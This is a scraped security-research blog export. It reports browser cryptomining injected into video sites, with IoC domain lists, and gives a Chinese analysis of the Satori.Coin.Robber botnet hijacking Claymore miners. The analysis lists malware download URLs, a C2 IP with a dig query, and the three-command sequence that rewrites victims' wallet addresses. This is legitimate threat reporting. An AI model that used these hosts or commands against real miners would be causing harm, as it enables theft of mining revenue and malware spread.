codes. openload.co oload.stream thevideo.me streamcherry.com streamango.com Totally 22 Mining Service Domains Appear in Groups Besides from the above 5 mining service domains, we further discover 17 mining service domains from our DNSMon system, which emerged in groups. The following two figures show the number of daily active domains and their popular ranks. We conclude these mining service domains as follow: * first appeared on 2017-11-29 * have quite a few visiting volume and become more and more popular as time goes by * new domains appear periodically, while old domains are still active * 22 domains in total and 5 domains in each groups in most case. (For the 2 domains as exception, the corresponding JavaScript code contains 7 domains) * While these domains looks like DGA, their generating mechanism and usage are different from the common malware. IoC Mining Service Domains 0aqpqdju.me 5vz3cfs0yd.me 6tsbe1zs.me 8jd2lfsq.me aqqgli3vle.bid avualrhg9p.bid c0i8h8ac7e.bid do69ifsly4.me fge9vbrzwt.bid hzsod71wov.me iisl7wpf.me kho3au7l4z.me npdaqy6x1j.me ny7f6goy.bid r8nu86wg.me uebawtz7.me vcfs6ip5h6.bid vg02h8z1ul.me vjcyehtqm9.me vl8c4g7tmo.me xgmc6lu8fs.me zgdfz6h7po.me Mining Service Consumers openload.co streamcherry.com streamango.com thevideo.me thevideo.me

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"As of December 24, 2017, we noticed a group of Alex top websites abusing client browser's computing power in cryptocurrency mining. The javascript code is based on CoinHive with tricks to completely circumvent CoinHive's own operations to avoid CoinHive's commission fee. A total of 22 domain names were observed providing this kind of mining services, with earliest possible activity began on November 29, 2017.\n\nSites that use the above mining services include some popular websites such as openload.co(Alex ranking 136), oload.stream, thevideo.me, streamcherry.com, and streamango.com, which means the impact could be fairly large.\n\n#### Five Unusual Domain Names\n\nDNSMon is our DNS anomaly detection system. On 2017-12-24, the system spotted a group of domain names, with the corresponding access profiles as follows:\n\n```\ndo69ifsly4.me\nhzsod71wov.me\nkho3au7l4z.me\nnpdaqy6x1j.me\nvg02h8z1ul.me\n```\n\n\n\nAs you can see in the image above, the amazingly consistent access profiles across all the domain names suggests that traffic between different domains are likely to be driven by some same factor. \n\nBy using our DNSMon, we could further explore where these traffic comes from. As shown in the picture below, the above five domain names always show up together, interestingly, with an extra domain name always follows up, the streamcherry.com.\n\n\n\n#### The streamcherry.com and These Five Domains\n\nTo continue our exploration on the relationship between streamcherry and those five abnormal domains, we need to leave the DNS land, and look for data in other dimensions. In this case we can simply utilize the URL database from Virus Total to reach following URLs:\n\n\n\nWhen opened by a browser, these URLs will lead to do69ifsly4.me, one of the five abnormal domains.\n\n\n\nFurther, all these 5 abnormal domains are equivalent, all providing web-socket services. This can be seen in hxxps://do69ifsly4.me/v.js. After several rounds of decoding and de-obfuscation, following JavaScript code fragment is exposed:\n\n\n\n\n#### JavaScript Code From CoinHive with Tweak to Avoid the \"Fair Payouts\"\n\nWait a minute ... Why this code looks so familiar ... with Coinhive's XMR mining code ?\n\nLet us take a look at the code comparison, Streamcherry on the left and CoinHive on the right, they use the same naming pattern to set up mining service addresses.\n\n\n\nFrom the second code comparison we can see the function names of creating and starting a mining instance are also the same.\n\n\n\nNow let's move on to see more code comparisons:\n\n - site-key: a key configuration, used to mark different source sites, can be treated as miners' bank account；\n - throttle: another key configuration, used to control the browsers' CPU usage threshold. If adjusted to an appropriate threshold, users will be hard to notice any changes. This threshold is intended to be used to balance the end users' experience and the site's revenue;\n\n\n\nSince streamcherry has already throttles the CPU usage, end users will not notice significant change when open the website. To confirm that the mining code will be executed we manually modified the JavaScript code. The two alerts in the following figures confirm that the mining object is indeed running:\n\n\n\nBasically, we think streamcherry obtained the mining code from CoinHive, tweaks the computation threshold, and is abusing the end user browsers to mine XMR. In this way, they can bypass CoinHive completely and save CoinHive's 30% \"fair payout\".\n\n#### openload.co and others Are Using These Mining Service Domains\n\nJust like CoinHive, streamcherry also uses site-keys to differentiate different source sites. This inspires us to hunt for more websites using the same code.\n\nBy now we have seen five websites using these codes.\n\n```\nopenload.co\noload.stream\nthevideo.me\nstreamcherry.com\nstreamango.com\n```\n\n\n\n#### Totally 22 Mining Service Domains Appear in Groups\n\nBesides from the above 5 mining service domains, we further discover 17 mining service domains from our DNSMon system, which emerged in groups.\n\nThe following two figures show the number of daily active domains and their popular ranks.\n\n\n\n\n\nWe conclude these mining service domains as follow:\n\n - first appeared on 2017-11-29\n - have quite a few visiting volume and become more and more popular as time goes by\n - new domains appear periodically, while old domains are still active\n - 22 domains in total and 5 domains in each groups in most case. (For the 2 domains as exception, the corresponding JavaScript code contains 7 domains)\n - While these domains looks like DGA, their generating mechanism and usage are different from the common malware.\n\n#### IoC\nMining Service Domains\n```\n0aqpqdju.me\n5vz3cfs0yd.me\n6tsbe1zs.me\n8jd2lfsq.me\naqqgli3vle.bid\navualrhg9p.bid\nc0i8h8ac7e.bid\ndo69ifsly4.me\nfge9vbrzwt.bid\nhzsod71wov.me\niisl7wpf.me\nkho3au7l4z.me\nnpdaqy6x1j.me\nny7f6goy.bid\nr8nu86wg.me\nuebawtz7.me\nvcfs6ip5h6.bid\nvg02h8z1ul.me\nvjcyehtqm9.me\nvl8c4g7tmo.me\nxgmc6lu8fs.me\nzgdfz6h7po.me\n```\n\nMining Service Consumers\n\n```\nopenload.co\nstreamcherry.com\nstreamango.com\nthevideo.me\nthevideo.me\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

82

post

2018-01-16T03:31:21.000Z

63873b9a8b1c1e0007f52f08

art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address

2018-10-06T09:02:52.000Z

public

published

2018-01-17T08:36:51.000Z

偷盗的艺术: Satori 变种正在通过替换钱包地址盗取 ETH 数字代币

<!--kg-card-begin: markdown--><p>在我们2017年12月5日发布的关于Satori的 <a href="__GHOST_URL__/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/">文章</a> 中，我们提到Satori僵尸网络正在以前所未有的速度快速传播。自从我们的文章发布以后，安全社区、ISP、供应链厂商共同协作，Satori 的控制端服务器被 sinkhole、ISP和供应链厂商采取了行动，Satori的蔓延趋势得到了暂时遏制，但是Satori的威胁依然存在。</p> <p>从 2018-01-08 10:42:06 GMT+8 开始，我们检测到 Satori 的后继变种正在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存其他Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。我们将这个变种命名为 Satori.Coin.Robber。</p> <p>这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。这给对抗恶意代码带来了一个新问题：即使安全社区后续接管了 Satori.Coin.Robber 的上联控制服务器，那些已经被篡改了钱包地址的挖矿设备，仍将持续为其贡献算力和 ETH 代币。</p> <p>到 2018-01-16 17:00 GMT+8 为止，<br> 矿池的 <a href="http://dwarfpool.com/eth/address?wallet=B15A5332eB7cD2DD7a4Ec7f96749E769A371572d&amp;allpayouts=1">付费记录</a> 显示：</p> <ul> <li>Satori.Coin.Robber 当前正在持续挖矿，最后一次更新大约在5分钟之前；</li> <li>Satori.Coin.Robber 过去2天内平均算力大约是 1606 MH/s；账户在过去24小时累积收入 0.1733 个ETH代币；</li> <li>Satori.Coin.Robber 已经在2017年1月11日14时拿到了矿池付出的第一个 ETH 代币，另有 0.76 个代币在账户上；</li> </ul> <p>另外值得一提的是，Satori.Coin.Robber 的作者通过下面这段话宣称自己当前的代码没有恶意，并且留下了一个电子邮箱地址：</p> <pre><code>Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] </code></pre> <h4 id="claymoreminer">Claymore Miner远程管理接口上的系列安全问题</h4> <p>Claymore Miner 是一个流行的的多种代币的挖矿程序，互联网上现存了较多设备正在基于Claymore Miner挖矿。Claymore Miner 提供了远程监控和管理的接口。</p> <p>按照其 <a href="https://github.com/nanopool/Claymore-Dual-Miner">文档</a> 的描述，其 Windows 版本通过 Remote management 子目录下的 EthMan.exe 文件，在3333端口上，提供了远程监控和管理的特性。其早期版本允许远程读取挖矿进程的运行状态，同时也允许执行重启、上传文件等控制行为。</p> <p>在缺省情况下就可以获得部分控制权，这显然是个脆弱性问题。作为应对，8.1 版本以后，Claymore Miner 缺省使用 -3333 （而不是 3333 ）端口作为启动参数，这意味着远程管理端口是只读的，不再能够执行控制命令。</p> <p>但是这并不代表这一系列的远程管理接口问题就到此结束了。2017年11月，<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16929">CVE-2017-16929</a> 被披露，允许远程读写任意文件。对应的 <a href="https://www.exploit-db.com/exploits/43231/">利用代码</a> 也已经批露。</p> <p>我们这次观察到的漏洞利用代码跟上面列出的均有所不同。这次攻击主要是针对开放了3333端口管理、同时又没有设置远程登录密码的 Claymore Miner挖矿设备。为防止潜在的滥用，我们不会在文章中公布详细细节。</p> <h4 id="satoricoinrobbereth">Satori.Coin.Robber 变种正在利用上述脆弱性问题攫取 ETH 代币算力</h4> <p>在 2018-01-08至2018-01-12期间，我们观察到了以下样本：</p> <pre><code>737af63598ea5f13e74fd2769e0e0405 http://77.73.67.156/mips.satori 141c574ca7dba34513785652077ab4e5 http://77.73.67.156/mips.satori 4e1ea23bfe4198dad0f544693e599f03 http://77.73.67.156/mips.satori 126f9da9582a431745fa222c0ce65e8c http://77.73.67.156/mips.satori 74d78e8d671f6edb60fe61d5bd6b7529 http://77.73.67.156/mips.satori 59a53a199febe331a7ca78ece6d8f3a4 http://77.73.67.156/b </code></pre> <p>这组样本是Satori的后续变种，这个变种不仅会扫描早先的 37215 和 52869 端口，还会扫描 3333 端口，三个端口上的扫描载荷分别是：</p> <ul> <li>端口 37215 : 已有，针对漏洞 CVE-2017-17215，华为公司最近发布了相关的<a href="http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en">声明</a>，并在持续更新；</li> <li>端口 52869 : 已有，针对漏洞 CVE-2014-8361，这是一个针对 Realtek SDK 的漏洞，网上自2015年就公开了<a href="https://www.exploit-db.com/exploits/37169/">漏洞利用代码</a></li> <li>端口 3333 ： 新增，针对上述 Eth 挖矿进程远程管理接口的攻击。</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/01/port-3333-scanning-payload.jpg" alt="" loading="lazy"><br> 上图是端口 3333 的扫描载荷。这个扫描中，Satori.Coin.Robber 会顺序发出三个包，分别是：</p> <ul> <li>第一个包：miner_getstat1，获取状态；</li> <li>第二个包：miner_file，更新reboot.bat文件，替换其中的矿池和钱包地址；</li> <li>第三个包：miner_reboot，重启生效。</li> </ul> <p>在这个上述 reboot_bat 的文件更新过程中：</p> <ul> <li>矿池地址替换为：eth-us2.dwarfpool.com:8008</li> <li>钱包地址替换为：0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d</li> </ul> <p>通过这种方式，Satori.Coin.Robber 将其他设备上 ETH 挖矿进程的算力攫取为己用。</p> <h4 id="satoricoinrobber">Satori.Coin.Robber 与之前版本的异同</h4> <p>我们对比两个版本的 Satori.Coin.Robber，寻找其中的异同：</p> <ul> <li>737af63598ea5f13e74fd2769e0e0405 Satori.Coin.Robber</li> <li>5915e165b2fdf1e4666a567b8a2d358b satori.x86_64, 2017年10月版本，<a href="https://www.virustotal.com/zh-cn/en-US/file/2a41a98e3889c9a1054ecf652e7b036b51d452a89c74d030663c6e7c6efe5550/analysis/">VT报告地址</a></li> </ul> <p>相同点：</p> <ul> <li>代码：均使用了UPX加壳，并且使用了相同的幻数 0x4A444E53，脱壳后大量代码结构类似。</li> <li>配置信息：配置信息均加密，加密方式相同，且大量配置字符串是一致的。例如 /bin/busybox SATORI，bigbotPein，81c4603681c46036，j57*&amp;jE，等等；</li> <li>扫描载荷：两者均扫描 37215 和 52869 端口，并且使用了相同的扫描载荷</li> </ul> <p>我们认为这些证据够强，足以将这次的新变种与之前的 Satori 联系起来。</p> <p>不同点：</p> <ul> <li>扫描载荷：Satori.Coin.Robber 新增了 3333 端口上针对 Claymore Miner的攻击</li> <li>扫描过程：Satori.Coin.Robber 使用了异步网络连接(NIO)方式发起连接，这种方式会提高扫描效率</li> <li>C2 协议：Satori.Coin.Robber 启用了一组新的C2 通信协议，会基于DNS协议与54.171.131.39通信。后面会有专门的一节来描述。</li> </ul> <p>下面是一些详细的截图证据展示：</p> <p>两个版本的样本公用了相同的UPX加壳幻数：<br> <img src="__GHOST_URL__/content/images/2018/01/satori_UPX_MAGIC_diff.png" alt="" loading="lazy"></p> <p>Satori.Coin.Robber 在扫描过程中使用了异步网络连接方式：<br> <img src="__GHOST_URL__/content/images/2018/01/port-3333-non-block-scanning.jpg" alt="" loading="lazy"></p> <h4 id="satoricoinrobberc2">Satori.Coin.Robber 的新的C2 通信协议</h4> <p>Satori.Coin.Robber 的 C2 ：</p> <ul> <li>硬编码的IP地址，54.171.131.39，位于爱尔兰都柏林。</li> <li>通信协议是基于DNS修改的，可以使用 dig @54.171.131.39 $DNS-QNAME any +short 的方式做一个简单测试，每个$DNS-QNAME对应不同的功能。</li> </ul> <p>整体C2协议列表如下：<br> <img src="__GHOST_URL__/content/images/2018/01/satori-variant-c2-protocol.png" alt="" loading="lazy"></p> <p>协议释义如下：</p> <ul> <li>客户端请求 w.sunnyjuly.gq，服务器返回 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d</li> <li>客户端请求 p.sunnyjuly.gq，服务器返回 eth-us2.dwarfpool.com:8008</li> <li>客户端请求 s.sunnyjuly.gq，服务器返回一段字符串 &quot;Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at <a href="mailto:[email protected]">[email protected]</a>.&quot;</li> <li>客户端请求 f.sunnyjuly.gq，服务器返回 213.74.54.240。这个请求并不是样本中出现的，是我们的研究人员尝试 fuzzing 后得到的。</li> </ul> <p>最前面两个请求的回应，恰好是 bot 篡改别的挖矿设备后使用的矿池和钱包地址。但是目前阶段，样本中的扫描载荷仍然是硬编码的，并没有使用这里的服务器返回值；<br> 服务器返回的那段英文，翻译成中文的大意是“我是Satori的作者，现在这个bot还没有什么恶意的代码，所以暂时放轻松。联系我的话，邮件写给[email protected]”</p> <h4 id="satoricoinrobber">Satori.Coin.Robber 的感染趋势</h4> <p>我们大体上可以使用三个扫描端口在 ScanMon 上的扫描趋势来度量 Satori.Coin.Robber 的感染范围和趋势。</p> <p><a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&amp;tsend=1516118400000&amp;dstport=37215&amp;toplistname=srcas&amp;topn=10">37215</a>、<a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&amp;tsend=1516118400000&amp;dstport=52869&amp;toplistname=srcas&amp;topn=10">52869</a> 和 <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1513526400000&amp;tsend=1516118400000&amp;dstport=3333&amp;toplistname=srcas&amp;topn=10">3333</a> 端口上过去30 天的扫描趋势依次如下：</p> <p><img src="__GHOST_URL__/content/images/2018/01/port-37215-scanning-last-30-days.png" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/01/port-52869-scanning-last-30-days.png" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/01/port-3333-scanning-last-30-days.png" alt="" loading="lazy"></p> <p>总体来看，三个端口上均有扫描暴涨，与本次样本表现能够对应。</p> <ul> <li>初始出现时间都在 2018年1月8日附近；</li> <li>高峰时间都在都在 2018年1月8日～2018年1月8日附近；</li> <li>最近几天扫描量逐渐下降；</li> <li>主要扫描来源在 AS4766 Korea Telecom ；</li> <li>独立扫描源IP地址，约为 4.9k；</li> </ul> <p>噪音方面，37215与52869 端口上，依据1月8日以前的表现，可能有部分扫描来源不属于 Satori.Coin.Robber；但是 3333 端口比较干净，依据1月8日以前的表现来看，噪音较小。考虑到三个端口上的扫描表现趋于一致，我们认为上述数据可以表现当前 Satori.Coin.Robber 的感染趋势。</p> <h4 id="">结语</h4> <p>Satori 的最初版本虽然已经被安全社区抑制，但是新的继任者已经出现。</p> <p>新的Satori.Coin.Robber，会扫描别的设备上的挖矿程序，并将钱包地址替换成自己的。这是我们在botnet领域第一次看到这种行为模式。</p> <p>尽管作者宣称自己当前没有恶意，但是传播恶意代码、未经授权修改他人计算机上的信息、攫取他人计算机算力为自己挖取数字代币，这些行为都是恶意行为。</p> <p>考虑到12月5日附近Satori在12小时内感染了超过26万IoT设备，当前 Satori.Coin.Robber的感染速度已经远远变低，暂时不用恐慌。</p> <p>上述感染速度的降低，不应该归因为攻击者刻意降低了扫描的速度，特别是考虑到攻击者启用了NIO技术来加速扫描阶段的效率；而应该归因为安全公司、ISP、供应链设备厂商共同的协作和努力。</p> <!--kg-card-end: markdown-->

在我们2017年12月5日发布的关于Satori的 文章 中，我们提到Satori僵尸网络正在以前所未有的速度快速传播。自从我们的文章发布以后，安全社区、ISP、供应链厂商共同协作，Satori 的控制端服务器被 sinkhole、ISP和供应链厂商采取了行动，Satori的蔓延趋势得到了暂时遏制，但是Satori的威胁依然存在。 从 2018-01-08 10:42:06 GMT+8 开始，我们检测到 Satori 的后继变种正在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存其他Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。我们将这个变种命名为 Satori.Coin.Robber。 这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。这给对抗恶意代码带来了一个新问题：即使安全社区后续接管了 Satori.Coin.Robber 的上联控制服务器，那些已经被篡改了钱包地址的挖矿设备，仍将持续为其贡献算力和 ETH 代币。 到 2018-01-16 17:00 GMT+8 为止， 矿池的 付费记录 显示： * Satori.Coin.Robber 当前正在持续挖矿，最后一次更新大约在5分钟之前； * Satori.Coin.Robber 过去2天内平均算力大约是 1606 MH/s；账户在过去24小时累积收入 0.1733 个ETH代币； * Satori.Coin.Robber 已经在2017年1月11日14时拿到了矿池付出的第一个 ETH 代币，另有 0.76 个代币在账户上； 另外值得一提的是，Satori.Coin.Robber 的作者通过下面这段话宣称自己当前的代码没有恶意，并且留下了一个电子邮箱地址： Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] Claymore Miner远程管理接口上的系列安全问题 Claymore Miner 是一个流行的的多种代币的挖矿程序，互联网上现存了较多设备正在基于Claymore Miner挖矿。Claymore Miner 提供了远程监控和管理的接口。 按照其 文档 的描述，其 Windows 版本通过 Remote management 子目录下的 EthMan.exe 文件，在3333端口上，提供了远程监控和管理的特性。其早期版本允许远程读取挖矿进程的运行状态，同时也允许执行重启、上传文件等控制行为。 在缺省情况下就可以获得部分控制权，这显然是个脆弱性问题。作为应对，8.1 版本以后，Claymore Miner 缺省使用 -3333 （而不是 3333 ）端口作为启动参数，这意味着远程管理端口是只读的，不再能够执行控制命令。 但是这并不代表这一系列的远程管理接口问题就到此结束了。2017年11月，CVE-2017-16929 被披露，允许远程读写任意文件。对应的 利用代码 也已经批露。 我们这次观察到的漏洞利用代码跟上面列出的均有所不同。这次攻击主要是针对开放了3333端口管理、同时又没有设置远程登录密码的 Claymore Miner挖矿设备。为防止潜在的滥用，我们不会在文章中公布详细细节。 Satori.Coin.Robber 变种正在利用上述脆弱性问题攫取 ETH 代币算力 在 2018-01-08至2018-01-12期间，我们观察到了以下样本： 737af63598ea5f13e74fd2769e0e0405 http://77.73.67.156/mips.satori 141c574ca7dba34513785652077ab4e5 http://77.73.67.156/mips.satori 4e1ea23bfe4198dad0f544693e599f03 http://77.73.67.156/mips.satori 126f9da9582a431745fa222c0ce65e8c http://77.73.67.156/mips.satori 74d78e8d671f6edb60fe61d5bd6b7529 http://77.73.67.156/mips.satori 59a53a199febe331a7ca78ece6d8f3a4 http://77.73.67.156/b 这组样本是Satori的后续变种，这个变种不仅会扫描早先的 37215 和 52869 端口，还会扫描 3333 端口，三个端口上的扫描载荷分别是： * 端口 37215 : 已有，针对漏洞 CVE-2017-17215，华为公司最近发布了相关的声明，并在持续更新； * 端口 52869 : 已有，针对漏洞 CVE-2014-8361，这是一个针对 Realtek SDK 的漏洞，网上自2015年就公开了漏洞利用代码 * 端口 3333 ： 新增，针对上述 Eth 挖矿进程远程管理接口的攻击。 上图是端口 3333 的扫描载荷。这个扫描中，Satori.Coin.Robber 会顺序发出三个包，分别是： * 第一个包：miner_getstat1，获取状态； * 第二个包：miner_file，更新reboot.bat文件，替换其中的矿池和钱包地址； * 第三个包：miner_reboot，重启生效。 在这个上述 reboot_bat 的文件更新过程中： * 矿池地址替换为：eth-us2.dwarfpool.com:8008 * 钱包地址替换为：0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d 通过这种方式，Satori.Coin.Robber 将其他设备上 ETH 挖矿进程的算力攫取为己用。 Satori.Coin.Robber 与之前版本的异同 我们对比两个版本的 Satori.Coin.Robber，寻找其中的异同： * 737af63598ea5f13e74fd2769e0e0405 Satori.Coin.Robber * 5915e165b2fdf1e4666a567b8a2d358b satori.x86_64, 2017年10月版本，VT报告地址 相同点： * 代码：均使用了UPX加壳，并且使用了相同的幻数 0x4A444E53，脱壳后大量代码结构类似。 * 配置信息：配置信息均加密，加密方式相同，且大量配置字符串是一致的。例如 /bin/busybox SATORI，bigbotPein，81c4603681c46036，j57*&jE，等等； * 扫描载荷：两者均扫描 37215 和 52869 端口，并且使用了相同的扫描载荷 我们认为这些证据够强，足以将这次的新变种与之前的 Satori 联系起来。 不同点： * 扫描载荷：Satori.Coin.Robber 新增了 3333 端口上针对 Claymore Miner的攻击 * 扫描过程：Satori.Coin.Robber 使用了异步网络连接(NIO)方式发起连接，这种方式会提高扫描效率 * C2 协议：Satori.Coin.Robber 启用了一组新的C2 通信协议，会基于DNS协议与54.171.131.39通信。后面会有专门的一节来描述。 下面是一些详细的截图证据展示： 两个版本的样本公用了相同的UPX加壳幻数： Satori.Coin.Robber 在扫描过程中使用了异步网络连接方式： Satori.Coin.Robber 的新的C2 通信协议 Satori.Coin.Robber 的 C2 ： * 硬编码的IP地址，54.171.131.39，位于爱尔兰都柏林。 * 通信协议是基于DNS修改的，可以使用 dig @54.171.131.39 $DNS-QNAME any +short 的方式做一个简单测试，每个$DNS-QNAME对应不同的功能。 整体C2协议列表如下： 协议释义如下： * 客户端请求 w.sunnyjuly.gq，服务器返回 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d * 客户端请求 p.sunnyjuly.gq，服务器返回 eth-us2.dwarfpool.com:8008 * 客户端请求 s.sunnyjuly.gq，服务器返回一段字符串 "Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected]." * 客户端请求 f.sunnyjuly.gq，服务器返回 213.74.54.240。这个请求并不是样本中出现的，是我们的研究人员尝试 fuzzing 后得到的。 最前面两个请求的回应，恰好是 bot 篡改别的挖矿设备后使用的矿池和钱包地址。但是目前阶段，样本中的扫描载荷仍然是硬编码的，并没有使用这里的服务器返回值； 服务器返回的那段英文，翻译成中文的大意是“我是Satori的作者，现在这个bot还没有什么恶意的代码，所以暂时放轻松。联系我的话，邮件写给[email protected]” Satori.Coin.Robber 的感染趋势 我们大体上可以使用三个扫描端口在 ScanMon 上的扫描趋势来度量 Satori.Coin.Robber 的感染范围和趋势。 37215、52869 和 3333 端口上过去30 天的扫描趋势依次如下： 总体来看，三个端口上均有扫描暴涨，与本次样本表现能够对应。 * 初始出现时间都在 2018年1月8日附近； * 高峰时间都在都在 2018年1月8日～2018年1月8日附近； * 最近几天扫描量逐渐下降； * 主要扫描来源在 AS4766 Korea Telecom ； * 独立扫描源IP地址，约为 4.9k； 噪音方面，37215与52869 端口上，依据1月8日以前的表现，可能有部分扫描来源不属于 Satori.Coin.Robber；但是 3333 端口比较干净，依据1月8日以前的表现来看，噪音较小。考虑到三个端口上的扫描表现趋于一致，我们认为上述数据可以表现当前 Satori.Coin.Robber 的感染趋势。 结语 Satori 的最初版本虽然已经被安全社区抑制，但是新的继任者已经出现。 新的Satori.Coin.Robber，会扫描别的设备上的挖矿程序，并将钱包地址替换成自己的。这是我们在botnet领域第一次看到这种行为模式。 尽管作者宣称自己当前没有恶意，但是传播恶意代码、未经授权修改他人计算机上的信息、攫取他人计算机算力为自己挖取数字代币，这些行为都是恶意行为。 考虑到12月5日附近Satori在12小时内感染了超过26万IoT设备，当前 Satori.Coin.Robber的感染速度已经远远变低，暂时不用恐慌。 上述感染速度的降低，不应该归因为攻击者刻意降低了扫描的速度，特别是考虑到攻击者启用了NIO技术来加速扫描阶段的效率；而应该归因为安全公司、ISP、供应链设备厂商共同的协作和努力。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"在我们2017年12月5日发布的关于Satori的 [文章](__GHOST_URL__/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/) 中，我们提到Satori僵尸网络正在以前所未有的速度快速传播。自从我们的文章发布以后，安全社区、ISP、供应链厂商共同协作，Satori 的控制端服务器被 sinkhole、ISP和供应链厂商采取了行动，Satori的蔓延趋势得到了暂时遏制，但是Satori的威胁依然存在。\n\n从 2018-01-08 10:42:06 GMT+8 开始，我们检测到 Satori 的后继变种正在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存其他Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。我们将这个变种命名为 Satori.Coin.Robber。\n\n这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。这给对抗恶意代码带来了一个新问题：即使安全社区后续接管了 Satori.Coin.Robber 的上联控制服务器，那些已经被篡改了钱包地址的挖矿设备，仍将持续为其贡献算力和 ETH 代币。\n\n到 2018-01-16 17:00 GMT+8 为止，\n矿池的 [付费记录](http://dwarfpool.com/eth/address?wallet=B15A5332eB7cD2DD7a4Ec7f96749E769A371572d&allpayouts=1) 显示：\n \n* Satori.Coin.Robber 当前正在持续挖矿，最后一次更新大约在5分钟之前；\n* Satori.Coin.Robber 过去2天内平均算力大约是 1606 MH/s；账户在过去24小时累积收入 0.1733 个ETH代币；\n* Satori.Coin.Robber 已经在2017年1月11日14时拿到了矿池付出的第一个 ETH 代币，另有 0.76 个代币在账户上；\n\n另外值得一提的是，Satori.Coin.Robber 的作者通过下面这段话宣称自己当前的代码没有恶意，并且留下了一个电子邮箱地址：\n\n```\nSatori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected]\n```\n\n\n####Claymore Miner远程管理接口上的系列安全问题\nClaymore Miner 是一个流行的的多种代币的挖矿程序，互联网上现存了较多设备正在基于Claymore Miner挖矿。Claymore Miner 提供了远程监控和管理的接口。\n\n按照其 [文档](https://github.com/nanopool/Claymore-Dual-Miner) 的描述，其 Windows 版本通过 Remote management 子目录下的 EthMan.exe 文件，在3333端口上，提供了远程监控和管理的特性。其早期版本允许远程读取挖矿进程的运行状态，同时也允许执行重启、上传文件等控制行为。\n\n在缺省情况下就可以获得部分控制权，这显然是个脆弱性问题。作为应对，8.1 版本以后，Claymore Miner 缺省使用 -3333 （而不是 3333 ）端口作为启动参数，这意味着远程管理端口是只读的，不再能够执行控制命令。\n\n但是这并不代表这一系列的远程管理接口问题就到此结束了。2017年11月，[CVE-2017-16929](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16929) 被披露，允许远程读写任意文件。对应的 [利用代码](https://www.exploit-db.com/exploits/43231/) 也已经批露。\n\n我们这次观察到的漏洞利用代码跟上面列出的均有所不同。这次攻击主要是针对开放了3333端口管理、同时又没有设置远程登录密码的 Claymore Miner挖矿设备。为防止潜在的滥用，我们不会在文章中公布详细细节。\n\n####Satori.Coin.Robber 变种正在利用上述脆弱性问题攫取 ETH 代币算力\n在 2018-01-08至2018-01-12期间，我们观察到了以下样本：\n```\n737af63598ea5f13e74fd2769e0e0405\thttp://77.73.67.156/mips.satori\n141c574ca7dba34513785652077ab4e5\thttp://77.73.67.156/mips.satori\n4e1ea23bfe4198dad0f544693e599f03\thttp://77.73.67.156/mips.satori\n126f9da9582a431745fa222c0ce65e8c\thttp://77.73.67.156/mips.satori\n74d78e8d671f6edb60fe61d5bd6b7529\thttp://77.73.67.156/mips.satori\n59a53a199febe331a7ca78ece6d8f3a4\thttp://77.73.67.156/b\n```\n\n这组样本是Satori的后续变种，这个变种不仅会扫描早先的 37215 和 52869 端口，还会扫描 3333 端口，三个端口上的扫描载荷分别是：\n\n* 端口 37215 : 已有，针对漏洞 CVE-2017-17215，华为公司最近发布了相关的[声明](http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en)，并在持续更新；\n* 端口 52869 : 已有，针对漏洞 CVE-2014-8361，这是一个针对 Realtek SDK 的漏洞，网上自2015年就公开了[漏洞利用代码](https://www.exploit-db.com/exploits/37169/)\n* 端口 3333 ： 新增，针对上述 Eth 挖矿进程远程管理接口的攻击。\n\n\n上图是端口 3333 的扫描载荷。这个扫描中，Satori.Coin.Robber 会顺序发出三个包，分别是：\n\n * 第一个包：miner_getstat1，获取状态；\n * 第二个包：miner_file，更新reboot.bat文件，替换其中的矿池和钱包地址；\n * 第三个包：miner_reboot，重启生效。\n\n在这个上述 reboot_bat 的文件更新过程中：\n\n * 矿池地址替换为：eth-us2.dwarfpool.com:8008\n * 钱包地址替换为：0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d\n\n通过这种方式，Satori.Coin.Robber 将其他设备上 ETH 挖矿进程的算力攫取为己用。\n\n####Satori.Coin.Robber 与之前版本的异同\n\n我们对比两个版本的 Satori.Coin.Robber，寻找其中的异同：\n\n* 737af63598ea5f13e74fd2769e0e0405 Satori.Coin.Robber\n* 5915e165b2fdf1e4666a567b8a2d358b satori.x86_64, 